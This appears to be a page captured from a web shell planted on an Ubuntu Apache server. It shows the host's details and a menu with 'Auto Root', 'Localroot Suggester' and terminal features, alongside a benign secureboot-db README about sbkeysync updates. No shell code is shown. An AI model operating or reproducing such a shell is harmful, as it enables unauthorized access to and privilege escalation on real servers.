Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.217.105
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
secureboot-db /
Delete
Unzip
Name
Size
Permission
Date
Action
README.Debian
995
B
-rw-r--r--
2019-07-09 00:36
changelog.gz
1.06
KB
-rw-r--r--
2020-10-20 05:15
copyright
1.01
KB
-rw-r--r--
2019-07-09 00:36
Save
Rename
secureboot-db for Ubuntu ------------------------ When Secure Boot is enabled, the bootloader must be signed by an entry in the Secure Boot DB. If the signature verifies and the entry does not appear in the DBX blacklist, the boot process is allowed to continue. Each stage of the boot process may also be verified against DB and DBX. DB and DBX will need to be updated for certificate updates and additions to the blacklist, and this package provides the mechanism do so. It works by adding signed updates to /usr/share/secureboot/updates and then runs sbkeysync on them. Eg: $ sudo sbkeysync --no-default-keystores \ --keystore /usr/share/secureboot/updates Note that this package tries to add all keys from the keystore that are not found in the key databases in firmware. When secure boot is enabled, updates to DB and DBX can only be performed if they are signed by an entry in the KEK database. -- Jamie Strandboge <jamie@ubuntu.com> Tue, 04 Dec 2012 13:22:03 -0600